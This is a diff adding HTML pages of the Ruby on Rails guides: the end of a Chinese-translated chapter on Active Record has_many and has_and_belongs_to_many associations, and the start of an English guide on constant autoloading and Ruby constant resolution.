+end
+
+
+
+

每个 Customer 模型实例都获得了这些方法:

+
+orders(force_reload = false)
+orders<<(object, ...)
+orders.delete(object, ...)
+orders.destroy(object, ...)
+orders=objects
+order_ids
+order_ids=ids
+orders.clear
+orders.empty?
+orders.size
+orders.find(...)
+orders.where(...)
+orders.exists?(...)
+orders.build(attributes = {}, ...)
+orders.create(attributes = {})
+orders.create!(attributes = {})
+
+
+
+
4.3.1.1 collection(force_reload = false) +

collection 方法返回一个数组,包含所有关联的对象。如果没有关联的对象,则返回空数组。

+
+@orders = @customer.orders
+
+
+
+
4.3.1.2 collection<<(object, ...) +

collection<< 方法向关联对象数组中添加一个或多个对象,并把各所加对象的外键设为调用此方法的模型的主键。

+
+@customer.orders << @order1
+
+
+
+
4.3.1.3 collection.delete(object, ...) +

collection.delete 方法从关联对象数组中删除一个或多个对象,并把删除的对象外键设为 NULL

+
+@customer.orders.delete(@order1)
+
+
+
+

如果关联设置了 dependent: :destroy,还会销毁关联对象;如果关联设置了 dependent: :delete_all,还会删除关联对象。

4.3.1.4 collection.destroy(object, ...) +

collection.destroy 方法在关联对象上调用 destroy 方法,从关联对象数组中删除一个或多个对象。

+
+@customer.orders.destroy(@order1)
+
+
+
+

对象会从数据库中删除,忽略 :dependent 选项。

4.3.1.5 collection=objects +

collection= 让关联对象数组只包含指定的对象,根据需求会添加或删除对象。

4.3.1.6 collection_singular_ids +

collection_singular_ids 返回一个数组,包含关联对象数组中各对象的 ID。

+
+@order_ids = @customer.order_ids
+
+
+
+
4.3.1.7 collection_singular_ids=ids +

collection_singular_ids= 方法让数组中只包含指定的主键,根据需要增删 ID。

4.3.1.8 collection.clear +

collection.clear 方法删除数组中的所有对象。如果关联中指定了 dependent: :destroy 选项,会销毁关联对象;如果关联中指定了 dependent: :delete_all 选项,会直接从数据库中删除对象,然后再把外键设为 NULL

4.3.1.9 collection.empty? +

如果关联数组中没有关联对象,collection.empty? 方法返回 true

+
+<% if @customer.orders.empty? %>
+  No Orders Found
+<% end %>
+
+
+
+
4.3.1.10 collection.size +

collection.size 返回关联对象数组中的对象数量。

+
+@order_count = @customer.orders.size
+
+
+
+
4.3.1.11 collection.find(...) +

collection.find 方法在关联对象数组中查找对象,句法和可用选项跟 ActiveRecord::Base.find 方法一样。

+
+@open_orders = @customer.orders.find(1)
+
+
+
+
4.3.1.12 collection.where(...) +

collection.where 方法根据指定的条件在关联对象数组中查找对象,但会惰性加载对象,用到对象时才会执行查询。

+
+@open_orders = @customer.orders.where(open: true) # No query yet
+@open_order = @open_orders.first # Now the database will be queried
+
+
+
+
4.3.1.13 collection.exists?(...) +

collection.exists? 方法根据指定的条件检查关联对象数组中是否有符合条件的对象,句法和可用选项跟 ActiveRecord::Base.exists? 方法一样。

4.3.1.14 collection.build(attributes = {}, ...) +

collection.build 方法返回一个或多个此种关联类型的新对象。这些对象会使用传入的属性初始化,还会创建对应的外键,但不会保存关联对象。

+
+@order = @customer.orders.build(order_date: Time.now,
+                                order_number: "A12345")
+
+
+
+
4.3.1.15 collection.create(attributes = {}) +

collection.create 方法返回一个此种关联类型的新对象。这个对象会使用传入的属性初始化,还会创建对应的外键,只要能通过所有数据验证,就会保存关联对象。

+
+@order = @customer.orders.create(order_date: Time.now,
+                                 order_number: "A12345")
+
+
+
+
4.3.1.16 collection.create!(attributes = {}) +

作用和 collection.create 相同,但如果记录不合法会抛出 ActiveRecord::RecordInvalid 异常。

4.3.2 has_many 方法的选项

Rails 的默认设置足够智能,能满足常见需求。但有时还是需要定制 has_many 关联的行为。定制的方法很简单,声明关联时传入选项即可。例如,下面的关联使用了两个选项:

+
+class Customer < ActiveRecord::Base
+  has_many :orders, dependent: :delete_all, validate: :false
+end
+
+
+
+

has_many 关联支持以下选项:

+
    +
  • :as
  • +
  • :autosave
  • +
  • :class_name
  • +
  • :dependent
  • +
  • :foreign_key
  • +
  • :inverse_of
  • +
  • :primary_key
  • +
  • :source
  • +
  • :source_type
  • +
  • :through
  • +
  • :validate
  • +
+
4.3.2.1 :as +

:as 选项表明这是多态关联。前文已经详细介绍过多态关联。

4.3.2.2 :autosave +

如果把 :autosave 选项设为 true,保存父对象时,会自动保存所有子对象,并把标记为析构的子对象销毁。

4.3.2.3 :class_name +

如果另一个模型无法从关联的名字获取,可以使用 :class_name 选项指定模型名。例如,顾客有多个订单,但表示订单的模型是 Transaction,就可以这样声明关联:

+
+class Customer < ActiveRecord::Base
+  has_many :orders, class_name: "Transaction"
+end
+
+
+
+
4.3.2.4 :dependent +

设置销毁拥有者时要怎么处理关联对象:

+
    +
  • +:destroy:也销毁所有关联的对象;
  • +
  • +:delete_all:直接把所有关联对象对数据库中删除,因此不会执行回调;
  • +
  • +:nullify:把外键设为 NULL,不会执行回调;
  • +
  • +:restrict_with_exception:有关联的对象时抛出异常;
  • +
  • +:restrict_with_error:有关联的对象时,向拥有者添加一个错误;
  • +
+

如果声明关联时指定了 :through 选项,会忽略这个选项。

4.3.2.5 :foreign_key +

按照约定,另一个模型中用来存储外键的字段名是模型名后加 _id:foreign_key 选项可以设置要使用的外键名:

+
+class Customer < ActiveRecord::Base
+  has_many :orders, foreign_key: "cust_id"
+end
+
+
+
+

不管怎样,Rails 都不会自动创建外键字段,你要自己在迁移中创建。

4.3.2.6 :inverse_of +

:inverse_of 选项指定 has_many 关联另一端的 belongs_to 关联名。不能和 :through:as 选项一起使用。

+
+class Customer < ActiveRecord::Base
+  has_many :orders, inverse_of: :customer
+end
+
+class Order < ActiveRecord::Base
+  belongs_to :customer, inverse_of: :orders
+end
+
+
+
+
4.3.2.7 :primary_key +

按照约定,用来存储该模型主键的字段名 id:primary_key 选项可以设置要使用的主键名。

假设 users 表的主键是 id,但还有一个 guid 字段。根据要求,todos 表中应该使用 guid 字段,而不是 id 字段。这种需求可以这么实现:

+
+class User < ActiveRecord::Base
+  has_many :todos, primary_key: :guid
+end
+
+
+
+

如果执行 @user.todos.create 创建新的待办事项,那么 @todo.user_id 就是 guid 字段中的值。

4.3.2.8 :source +

:source 选项指定 has_many :through 关联的关联源名字。只有无法从关联名种解出关联源的名字时才需要设置这个选项。

4.3.2.9 :source_type +

:source_type 选项指定 has_many :through 关联中用来处理多态关联的关联源类型。

4.3.2.10 :through +

:through 选项指定用来执行查询的连接模型。has_many :through 关联是实现多对多关联的一种方式,前文已经介绍过。

4.3.2.11 :validate +

如果把 :validate 选项设为 false,保存对象时,不会验证关联对象。该选项的默认值是 true,保存对象验证关联的对象。

4.3.3 has_many 的作用域

有时可能需要定制 has_many 关联使用的查询方式,定制的查询可在作用域代码块中指定。例如:

+
+class Customer < ActiveRecord::Base
+  has_many :orders, -> { where processed: true }
+end
+
+
+
+

在作用域代码块中可以使用任何一个标准的查询方法。下面分别介绍这几个方法:

+
    +
  • where
  • +
  • extending
  • +
  • group
  • +
  • includes
  • +
  • limit
  • +
  • offset
  • +
  • order
  • +
  • readonly
  • +
  • select
  • +
  • uniq
  • +
+
4.3.3.1 where +

where 方法指定关联对象必须满足的条件。

+
+class Customer < ActiveRecord::Base
+  has_many :confirmed_orders, -> { where "confirmed = 1" },
+    class_name: "Order"
+end
+
+
+
+

条件还可以使用 Hash 的形式指定:

+
+class Customer < ActiveRecord::Base
+  has_many :confirmed_orders, -> { where confirmed: true },
+                              class_name: "Order"
+end
+
+
+
+

如果 where 使用 Hash 形式,通过这个关联创建的记录会自动使用 Hash 中的作用域。针对上面的例子,使用 @customer.confirmed_orders.create@customer.confirmed_orders.build 创建订单时,会自动把 confirmed 字段的值设为 true

4.3.3.2 extending +

extending 方法指定一个模块名,用来扩展关联代理。后文会详细介绍关联扩展。

4.3.3.3 group +

group 方法指定一个属性名,用在 SQL GROUP BY 子句中,分组查询结果。

+
+class Customer < ActiveRecord::Base
+  has_many :line_items, -> { group 'orders.id' },
+                        through: :orders
+end
+
+
+
+
4.3.3.4 includes +

includes 方法指定使用关联时要按需加载的间接关联。例如,有如下的模型:

+
+class Customer < ActiveRecord::Base
+  has_many :orders
+end
+
+class Order < ActiveRecord::Base
+  belongs_to :customer
+  has_many :line_items
+end
+
+class LineItem < ActiveRecord::Base
+  belongs_to :order
+end
+
+
+
+

如果经常要直接获取顾客购买的商品(@customer.orders.line_items),就可以把商品引入顾客和订单的关联中:

+
+class Customer < ActiveRecord::Base
+  has_many :orders, -> { includes :line_items }
+end
+
+class Order < ActiveRecord::Base
+  belongs_to :customer
+  has_many :line_items
+end
+
+class LineItem < ActiveRecord::Base
+  belongs_to :order
+end
+
+
+
+
4.3.3.5 limit +

limit 方法限制通过关联获取的对象数量。

+
+class Customer < ActiveRecord::Base
+  has_many :recent_orders,
+    -> { order('order_date desc').limit(100) },
+    class_name: "Order",
+end
+
+
+
+
4.3.3.6 offset +

offset 方法指定通过关联获取对象时的偏移量。例如,-> { offset(11) } 会跳过前 11 个记录。

4.3.3.7 order +

order 方法指定获取关联对象时使用的排序方式,用于 SQL ORDER BY 子句。

+
+class Customer < ActiveRecord::Base
+  has_many :orders, -> { order "date_confirmed DESC" }
+end
+
+
+
+
4.3.3.8 readonly +

如果使用 readonly,通过关联获取的对象就是只读的。

4.3.3.9 select +

select 方法用来覆盖获取关联对象数据的 SQL SELECT 子句。默认情况下,Rails 会读取所有字段。

如果设置了 select,记得要包含主键和关联模型的外键。否则,Rails 会抛出异常。

4.3.3.10 distinct +

使用 distinct 方法可以确保集合中没有重复的对象,和 :through 选项一起使用最有用。

+
+class Person < ActiveRecord::Base
+  has_many :readings
+  has_many :posts, through: :readings
+end
+
+person = Person.create(name: 'John')
+post   = Post.create(name: 'a1')
+person.posts << post
+person.posts << post
+person.posts.inspect # => [#<Post id: 5, name: "a1">, #<Post id: 5, name: "a1">]
+Reading.all.inspect  # => [#<Reading id: 12, person_id: 5, post_id: 5>, #<Reading id: 13, person_id: 5, post_id: 5>]
+
+
+
+

在上面的代码中,读者读了两篇文章,即使是同一篇文章,person.posts 也会返回两个对象。

下面我们加入 distinct 方法:

+
+class Person
+  has_many :readings
+  has_many :posts, -> { distinct }, through: :readings
+end
+
+person = Person.create(name: 'Honda')
+post   = Post.create(name: 'a1')
+person.posts << post
+person.posts << post
+person.posts.inspect # => [#<Post id: 7, name: "a1">]
+Reading.all.inspect  # => [#<Reading id: 16, person_id: 7, post_id: 7>, #<Reading id: 17, person_id: 7, post_id: 7>]
+
+
+
+

在这段代码中,读者还是读了两篇文章,但 person.posts 只返回一个对象,因为加载的集合已经去除了重复元素。

如果要确保只把不重复的记录写入关联模型的数据表(这样就不会从数据库中获取重复记录了),需要在数据表上添加唯一性索引。例如,数据表名为 person_posts,我们要保证其中所有的文章都没重复,可以在迁移中加入以下代码:

+
+add_index :person_posts, :post, unique: true
+
+
+
+

注意,使用 include? 等方法检查唯一性可能导致条件竞争。不要使用 include? 确保关联的唯一性。还是以前面的文章模型为例,下面的代码会导致条件竞争,因为多个用户可能会同时执行这一操作:

+
+person.posts << post unless person.posts.include?(post)
+
+
+
+
4.3.4 什么时候保存对象

把对象赋值给 has_many 关联时,会自动保存对象(因为要更新外键)。如果一次赋值多个对象,所有对象都会自动保存。

如果无法通过验证,随便哪一次保存失败了,赋值语句就会返回 false,赋值操作会取消。

如果父对象(has_many 关联声明所在的模型)没保存(new_record? 方法返回 true),那么子对象也不会保存。只有保存了父对象,才会保存子对象。

如果赋值给 has_many 关联时不想保存对象,可以使用 collection.build 方法。

4.4 has_and_belongs_to_many 关联详解

has_and_belongs_to_many 关联建立两个模型之间的多对多关系。用数据库的行话说,这种关联的意思是有个连接数据表包含指向这两个类的外键。

4.4.1 has_and_belongs_to_many 关联添加的方法

声明 has_and_belongs_to_many 关联后,声明所在的类自动获得了 16 个关联相关的方法:

+
    +
  • collection(force_reload = false)
  • +
  • collection<<(object, ...)
  • +
  • collection.delete(object, ...)
  • +
  • collection.destroy(object, ...)
  • +
  • collection=objects
  • +
  • collection_singular_ids
  • +
  • collection_singular_ids=ids
  • +
  • collection.clear
  • +
  • collection.empty?
  • +
  • collection.size
  • +
  • collection.find(...)
  • +
  • collection.where(...)
  • +
  • collection.exists?(...)
  • +
  • collection.build(attributes = {})
  • +
  • collection.create(attributes = {})
  • +
  • collection.create!(attributes = {})
  • +
+

这些个方法中的 collection 要替换成传入 has_and_belongs_to_many 方法的第一个参数。collection_singular 要替换成第一个参数的单数形式。例如,如下的声明:

+
+class Part < ActiveRecord::Base
+  has_and_belongs_to_many :assemblies
+end
+
+
+
+

每个 Part 模型实例都获得了这些方法:

+
+assemblies(force_reload = false)
+assemblies<<(object, ...)
+assemblies.delete(object, ...)
+assemblies.destroy(object, ...)
+assemblies=objects
+assembly_ids
+assembly_ids=ids
+assemblies.clear
+assemblies.empty?
+assemblies.size
+assemblies.find(...)
+assemblies.where(...)
+assemblies.exists?(...)
+assemblies.build(attributes = {}, ...)
+assemblies.create(attributes = {})
+assemblies.create!(attributes = {})
+
+
+
+
4.4.1.1 额外的字段方法

如果 has_and_belongs_to_many 关联使用的连接数据表中,除了两个外键之外还有其他字段,通过关联获取的记录中会包含这些字段,但是只读字段,因为 Rails 不知道如何保存对这些字段的改动。

has_and_belongs_to_many 关联的连接数据表中使用其他字段的功能已经废弃。如果在多对多关联中需要使用这么复杂的数据表,可以用 has_many :through 关联代替 has_and_belongs_to_many 关联。

4.4.1.2 collection(force_reload = false) +

collection 方法返回一个数组,包含所有关联的对象。如果没有关联的对象,则返回空数组。

+
+@assemblies = @part.assemblies
+
+
+
+
4.4.1.3 collection<<(object, ...) +

collection<< 方法向关联对象数组中添加一个或多个对象,并在连接数据表中创建相应的记录。

+
+@part.assemblies << @assembly1
+
+
+
+

这个方法与 collection.concatcollection.push 是同名方法。

4.4.1.4 collection.delete(object, ...) +

collection.delete 方法从关联对象数组中删除一个或多个对象,并删除连接数据表中相应的记录。

+
+@part.assemblies.delete(@assembly1)
+
+
+
+

这个方法不会触发连接记录上的回调。

4.4.1.5 collection.destroy(object, ...) +

collection.destroy 方法在连接数据表中的记录上调用 destroy 方法,从关联对象数组中删除一个或多个对象,还会触发回调。这个方法不会销毁对象本身。

+
+@part.assemblies.destroy(@assembly1)
+
+
+
+
4.4.1.6 collection=objects +

collection= 让关联对象数组只包含指定的对象,根据需求会添加或删除对象。

4.4.1.7 collection_singular_ids +

collection_singular_ids 返回一个数组,包含关联对象数组中各对象的 ID。

+
+@assembly_ids = @part.assembly_ids
+
+
+
+
4.4.1.8 collection_singular_ids=ids +

collection_singular_ids= 方法让数组中只包含指定的主键,根据需要增删 ID。

4.4.1.9 collection.clear +

collection.clear 方法删除数组中的所有对象,并把连接数据表中的相应记录删除。这个方法不会销毁关联对象。

4.4.1.10 collection.empty? +

如果关联数组中没有关联对象,collection.empty? 方法返回 true

+
+<% if @part.assemblies.empty? %>
+  This part is not used in any assemblies
+<% end %>
+
+
+
+
4.4.1.11 collection.size +

collection.size 返回关联对象数组中的对象数量。

+
+@assembly_count = @part.assemblies.size
+
+
+
+
4.4.1.12 collection.find(...) +

collection.find 方法在关联对象数组中查找对象,句法和可用选项跟 ActiveRecord::Base.find 方法一样。同时还限制对象必须在集合中。

+
+@assembly = @part.assemblies.find(1)
+
+
+
+
4.4.1.13 collection.where(...) +

collection.where 方法根据指定的条件在关联对象数组中查找对象,但会惰性加载对象,用到对象时才会执行查询。同时还限制对象必须在集合中。

+
+@new_assemblies = @part.assemblies.where("created_at > ?", 2.days.ago)
+
+
+
+
4.4.1.14 collection.exists?(...) +

collection.exists? 方法根据指定的条件检查关联对象数组中是否有符合条件的对象,句法和可用选项跟 ActiveRecord::Base.exists? 方法一样。

4.4.1.15 collection.build(attributes = {}) +

collection.build 方法返回一个此种关联类型的新对象。这个对象会使用传入的属性初始化,还会在连接数据表中创建对应的记录,但不会保存关联对象。

+
+@assembly = @part.assemblies.build({assembly_name: "Transmission housing"})
+
+
+
+
4.4.1.16 collection.create(attributes = {}) +

collection.create 方法返回一个此种关联类型的新对象。这个对象会使用传入的属性初始化,还会在连接数据表中创建对应的记录,只要能通过所有数据验证,就会保存关联对象。

+
+@assembly = @part.assemblies.create({assembly_name: "Transmission housing"})
+
+
+
+
4.4.1.17 collection.create!(attributes = {}) +

作用和 collection.create 相同,但如果记录不合法会抛出 ActiveRecord::RecordInvalid 异常。

4.4.2 has_and_belongs_to_many 方法的选项

Rails 的默认设置足够智能,能满足常见需求。但有时还是需要定制 has_and_belongs_to_many 关联的行为。定制的方法很简单,声明关联时传入选项即可。例如,下面的关联使用了两个选项:

+
+class Parts < ActiveRecord::Base
+  has_and_belongs_to_many :assemblies, autosave: true,
+                                       readonly: true
+end
+
+
+
+

has_and_belongs_to_many 关联支持以下选项:

+
    +
  • :association_foreign_key
  • +
  • :autosave
  • +
  • :class_name
  • +
  • :foreign_key
  • +
  • :join_table
  • +
  • :validate
  • +
  • :readonly
  • +
+
4.4.2.1 :association_foreign_key +

按照约定,在连接数据表中用来指向另一个模型的外键名是模型名后加 _id:association_foreign_key 选项可以设置要使用的外键名:

:foreign_key:association_foreign_key 这两个选项在设置多对多自连接时很有用。

+
+class User < ActiveRecord::Base
+  has_and_belongs_to_many :friends,
+      class_name: "User",
+      foreign_key: "this_user_id",
+      association_foreign_key: "other_user_id"
+end
+
+
+
+
4.4.2.2 :autosave +

如果把 :autosave 选项设为 true,保存父对象时,会自动保存所有子对象,并把标记为析构的子对象销毁。

4.4.2.3 :class_name +

如果另一个模型无法从关联的名字获取,可以使用 :class_name 选项指定模型名。例如,一个部件由多个装配件组成,但表示装配件的模型是 Gadget,就可以这样声明关联:

+
+class Parts < ActiveRecord::Base
+  has_and_belongs_to_many :assemblies, class_name: "Gadget"
+end
+
+
+
+
4.4.2.4 :foreign_key +

按照约定,在连接数据表中用来指向模型的外键名是模型名后加 _id:foreign_key 选项可以设置要使用的外键名:

+
+class User < ActiveRecord::Base
+  has_and_belongs_to_many :friends,
+      class_name: "User",
+      foreign_key: "this_user_id",
+      association_foreign_key: "other_user_id"
+end
+
+
+
+
4.4.2.5 :join_table +

如果默认按照字典顺序生成的默认名不能满足要求,可以使用 :join_table 选项指定。

4.4.2.6 :validate +

如果把 :validate 选项设为 false,保存对象时,不会验证关联对象。该选项的默认值是 true,保存对象验证关联的对象。

4.4.3 has_and_belongs_to_many 的作用域

有时可能需要定制 has_and_belongs_to_many 关联使用的查询方式,定制的查询可在作用域代码块中指定。例如:

+
+class Parts < ActiveRecord::Base
+  has_and_belongs_to_many :assemblies, -> { where active: true }
+end
+
+
+
+

在作用域代码块中可以使用任何一个标准的查询方法。下面分别介绍这几个方法:

+
    +
  • where
  • +
  • extending
  • +
  • group
  • +
  • includes
  • +
  • limit
  • +
  • offset
  • +
  • order
  • +
  • readonly
  • +
  • select
  • +
  • uniq
  • +
+
4.4.3.1 where +

where 方法指定关联对象必须满足的条件。

+
+class Parts < ActiveRecord::Base
+  has_and_belongs_to_many :assemblies,
+    -> { where "factory = 'Seattle'" }
+end
+
+
+
+

条件还可以使用 Hash 的形式指定:

+
+class Parts < ActiveRecord::Base
+  has_and_belongs_to_many :assemblies,
+    -> { where factory: 'Seattle' }
+end
+
+
+
+

如果 where 使用 Hash 形式,通过这个关联创建的记录会自动使用 Hash 中的作用域。针对上面的例子,使用 @parts.assemblies.create@parts.assemblies.build 创建订单时,会自动把 factory 字段的值设为 "Seattle"

4.4.3.2 extending +

extending 方法指定一个模块名,用来扩展关联代理。后文会详细介绍关联扩展。

4.4.3.3 group +

group 方法指定一个属性名,用在 SQL GROUP BY 子句中,分组查询结果。

+
+class Parts < ActiveRecord::Base
+  has_and_belongs_to_many :assemblies, -> { group "factory" }
+end
+
+
+
+
4.4.3.4 includes +

includes 方法指定使用关联时要按需加载的间接关联。

4.4.3.5 limit +

limit 方法限制通过关联获取的对象数量。

+
+class Parts < ActiveRecord::Base
+  has_and_belongs_to_many :assemblies,
+    -> { order("created_at DESC").limit(50) }
+end
+
+
+
+
4.4.3.6 offset +

offset 方法指定通过关联获取对象时的偏移量。例如,-> { offset(11) } 会跳过前 11 个记录。

4.4.3.7 order +

order 方法指定获取关联对象时使用的排序方式,用于 SQL ORDER BY 子句。

+
+class Parts < ActiveRecord::Base
+  has_and_belongs_to_many :assemblies,
+    -> { order "assembly_name ASC" }
+end
+
+
+
+
4.4.3.8 readonly +

如果使用 readonly,通过关联获取的对象就是只读的。

4.4.3.9 select +

select 方法用来覆盖获取关联对象数据的 SQL SELECT 子句。默认情况下,Rails 会读取所有字段。

4.4.3.10 uniq +

uniq 方法用来删除集合中重复的对象。

4.4.4 什么时候保存对象

把对象赋值给 has_and_belongs_to_many 关联时,会自动保存对象(因为要更新外键)。如果一次赋值多个对象,所有对象都会自动保存。

如果无法通过验证,随便哪一次保存失败了,赋值语句就会返回 false,赋值操作会取消。

如果父对象(has_and_belongs_to_many 关联声明所在的模型)没保存(new_record? 方法返回 true),那么子对象也不会保存。只有保存了父对象,才会保存子对象。

如果赋值给 has_and_belongs_to_many 关联时不想保存对象,可以使用 collection.build 方法。

4.5 关联回调

普通回调会介入 Active Record 对象的生命周期,在很多时刻处理对象。例如,可以使用 :before_save 回调在保存对象之前处理对象。

关联回调和普通回调差不多,只不过由集合生命周期中的事件触发。关联回调有四种:

+
    +
  • before_add
  • +
  • after_add
  • +
  • before_remove
  • +
  • after_remove
  • +
+

关联回调在声明关联时定义。例如:

+
+class Customer < ActiveRecord::Base
+  has_many :orders, before_add: :check_credit_limit
+
+  def check_credit_limit(order)
+    ...
+  end
+end
+
+
+
+

Rails 会把添加或删除的对象传入回调。

同一事件可触发多个回调,多个回调使用数组指定:

+
+class Customer < ActiveRecord::Base
+  has_many :orders,
+    before_add: [:check_credit_limit, :calculate_shipping_charges]
+
+  def check_credit_limit(order)
+    ...
+  end
+
+  def calculate_shipping_charges(order)
+    ...
+  end
+end
+
+
+
+

如果 before_add 回调抛出异常,不会把对象加入集合。类似地,如果 before_remove 抛出异常,对象不会从集合中删除。

4.6 关联扩展

Rails 基于关联代理对象自动创建的功能是死的,但是可以通过匿名模块、新的查询方法、创建对象的方法等进行扩展。例如:

+
+class Customer < ActiveRecord::Base
+  has_many :orders do
+    def find_by_order_prefix(order_number)
+      find_by(region_id: order_number[0..2])
+    end
+  end
+end
+
+
+
+

如果扩展要在多个关联中使用,可以将其写入具名扩展模块。例如:

+
+module FindRecentExtension
+  def find_recent
+    where("created_at > ?", 5.days.ago)
+  end
+end
+
+class Customer < ActiveRecord::Base
+  has_many :orders, -> { extending FindRecentExtension }
+end
+
+class Supplier < ActiveRecord::Base
+  has_many :deliveries, -> { extending FindRecentExtension }
+end
+
+
+
+

在扩展中可以使用如下 proxy_association 方法的三个属性获取关联代理的内部信息:

+
    +
  • +proxy_association.owner:返回关联所属的对象;
  • +
  • +proxy_association.reflection:返回描述关联的反射对象;
  • +
  • +proxy_association.target:返回 belongs_tohas_one 关联的关联对象,或者 has_manyhas_and_belongs_to_many 关联的关联对象集合;
  • +
+ + +

反馈

+

+ 欢迎帮忙改善指南质量。 +

+

+ 如发现任何错误,欢迎修正。开始贡献前,可先行阅读贡献指南:文档。 +

+

翻译如有错误,深感抱歉,欢迎 Fork 修正,或至此处回报

+

+ 文章可能有未完成或过时的内容。请先检查 Edge Guides 来确定问题在 master 是否已经修掉了。再上 master 补上缺少的文件。内容参考 Ruby on Rails 指南准则来了解行文风格。 +

+

最后,任何关于 Ruby on Rails 文档的讨论,欢迎到 rubyonrails-docs 邮件群组。 +

+
+
+
+ +
+ + + + + + + + + + + + + + diff --git a/v4.1/autoloading_and_reloading_constants.html b/v4.1/autoloading_and_reloading_constants.html new file mode 100644 index 0000000..ee8c0c7 --- /dev/null +++ b/v4.1/autoloading_and_reloading_constants.html @@ -0,0 +1,1252 @@ + + + + + + + +Autoloading and Reloading Constants — Ruby on Rails 指南 + + + + + + + + + + + +
+
+ 更多内容 rubyonrails.org: + + 更多内容 + + +
+
+ + +
+ +
+
+

Autoloading and Reloading Constants

This guide documents how constant autoloading and reloading works.

After reading this guide, you will know:

+
    +
  • Key aspects of Ruby constants
  • +
  • What is autoload_paths
  • +
  • How constant autoloading works
  • +
  • What is require_dependency
  • +
  • How constant reloading works
  • +
  • Solutions to common autoloading gotchas
  • +
+ + + + +
+
+ +
+
+
+

1 Introduction

Ruby on Rails allows applications to be written as if their code was preloaded.

In a normal Ruby program classes need to load their dependencies:

+
+require 'application_controller'
+require 'post'
+
+class PostsController < ApplicationController
+  def index
+    @posts = Post.all
+  end
+end
+
+
+
+

Our Rubyist instinct quickly sees some redundancy in there: If classes were +defined in files matching their name, couldn't their loading be automated +somehow? We could save scanning the file for dependencies, which is brittle.

Moreover, Kernel#require loads files once, but development is much more smooth +if code gets refreshed when it changes without restarting the server. It would +be nice to be able to use Kernel#load in development, and Kernel#require in +production.

Indeed, those features are provided by Ruby on Rails, where we just write

+
+class PostsController < ApplicationController
+  def index
+    @posts = Post.all
+  end
+end
+
+
+
+

This guide documents how that works.

2 Constants Refresher

While constants are trivial in most programming languages, they are a rich +topic in Ruby.

It is beyond the scope of this guide to document Ruby constants, but we are +nevertheless going to highlight a few key topics. Truly grasping the following +sections is instrumental to understanding constant autoloading and reloading.

2.1 Nesting

Class and module definitions can be nested to create namespaces:

+
+module XML
+  class SAXParser
+    # (1)
+  end
+end
+
+
+
+

The nesting at any given place is the collection of enclosing nested class and +module objects outwards. For example, in the previous example, the nesting at +(1) is

+
+[XML::SAXParser, XML]
+
+
+
+

It is important to understand that the nesting is composed of class and module +objects, it has nothing to do with the constants used to access them, and is +also unrelated to their names.

For instance, while this definition is similar to the previous one:

+
+class XML::SAXParser
+  # (2)
+end
+
+
+
+

the nesting in (2) is different:

+
+[XML::SAXParser]
+
+
+
+

XML does not belong to it.

We can see in this example that the name of a class or module that belongs to a +certain nesting does not necessarily correlate with the namespaces at the spot.

Even more, they are totally independent, take for instance

+
+module X::Y
+  module A::B
+    # (3)
+  end
+end
+
+
+
+

The nesting in (3) consists of two module objects:

+
+[A::B, X::Y]
+
+
+
+

So, it not only doesn't end in A, which does not even belong to the nesting, +but it also contains X::Y, which is independent from A::B.

The nesting is an internal stack maintained by the interpreter, and it gets +modified according to these rules:

+
    +
  • The class object following a class keyword gets pushed when its body is +executed, and popped after it.

  • +
  • The module object following a module keyword gets pushed when its body is +executed, and popped after it.

  • +
  • A singleton class opened with class << object gets pushed, and popped later.

  • +
  • When any of the *_eval family of methods is called using a string argument, +the singleton class of the receiver is pushed to the nesting of the eval'ed +code.

  • +
  • The nesting at the top-level of code interpreted by Kernel#load is empty +unless the load call receives a true value as second argument, in which case +a newly created anonymous module is pushed by Ruby.

  • +
+

It is interesting to observe that blocks do not modify the stack. In particular +the blocks that may be passed to Class.new and Module.new do not get the +class or module being defined pushed to their nesting. That's one of the +differences between defining classes and modules in one way or another.

The nesting at any given place can be inspected with Module.nesting.

2.2 Class and Module Definitions are Constant Assignments

Let's suppose the following snippet creates a class (rather than reopening it):

+
+class C
+end
+
+
+
+

Ruby creates a constant C in Object and stores in that constant a class +object. The name of the class instance is "C", a string, named after the +constant.

That is,

+
+class Project < ActiveRecord::Base
+end
+
+
+
+

performs a constant assignment equivalent to

+
+Project = Class.new(ActiveRecord::Base)
+
+
+
+

including setting the name of the class as a side-effect:

+
+Project.name # => "Project"
+
+
+
+

Constant assignment has a special rule to make that happen: if the object +being assigned is an anonymous class or module, Ruby sets the object's name to +the name of the constant.

From then on, what happens to the constant and the instance does not +matter. For example, the constant could be deleted, the class object could be +assigned to a different constant, be stored in no constant anymore, etc. Once +the name is set, it doesn't change.

Similarly, module creation using the module keyword as in

+
+module Admin
+end
+
+
+
+

performs a constant assignment equivalent to

+
+Admin = Module.new
+
+
+
+

including setting the name as a side-effect:

+
+Admin.name # => "Admin"
+
+
+
+

The execution context of a block passed to Class.new or Module.new +is not entirely equivalent to the one of the body of the definitions using the +class and module keywords. But both idioms result in the same constant +assignment.

Thus, when one informally says "the String class", that really means: the +class object stored in the constant called "String" in the class object stored +in the Object constant. String is otherwise an ordinary Ruby constant and +everything related to constants such as resolution algorithms applies to it.

Likewise, in the controller

+
+class PostsController < ApplicationController
+  def index
+    @posts = Post.all
+  end
+end
+
+
+
+

Post is not syntax for a class. Rather, Post is a regular Ruby constant. If +all is good, the constant evaluates to an object that responds to all.

That is why we talk about constant autoloading, Rails has the ability to +load constants on the fly.

2.3 Constants are Stored in Modules

Constants belong to modules in a very literal sense. Classes and modules have +a constant table; think of it as a hash table.

Let's analyze an example to really understand what that means. While common +abuses of language like "the String class" are convenient, the exposition is +going to be precise here for didactic purposes.

Let's consider the following module definition:

+
+module Colors
+  RED = '0xff0000'
+end
+
+
+
+

First, when the module keyword is processed the interpreter creates a new +entry in the constant table of the class object stored in the Object constant. +Said entry associates the name "Colors" to a newly created module object. +Furthermore, the interpreter sets the name of the new module object to be the +string "Colors".

Later, when the body of the module definition is interpreted, a new entry is +created in the constant table of the module object stored in the Colors +constant. That entry maps the name "RED" to the string "0xff0000".

In particular, Colors::RED is totally unrelated to any other RED constant +that may live in any other class or module object. If there were any, they +would have separate entries in their respective constant tables.

Pay special attention in the previous paragraphs to the distinction between +class and module objects, constant names, and value objects associated to them +in constant tables.

2.4 Resolution Algorithms

2.4.1 Resolution Algorithm for Relative Constants

At any given place in the code, let's define cref to be the first element of +the nesting if it is not empty, or Object otherwise.

Without getting too much into the details, the resolution algorithm for relative +constant references goes like this:

+
    +
  1. If the nesting is not empty the constant is looked up in its elements and in +order. The ancestors of those elements are ignored.

  2. +
  3. If not found, then the algorithm walks up the ancestor chain of the cref.

  4. +
  5. If not found, const_missing is invoked on the cref. The default +implementation of const_missing raises NameError, but it can be overridden.

  6. +
+

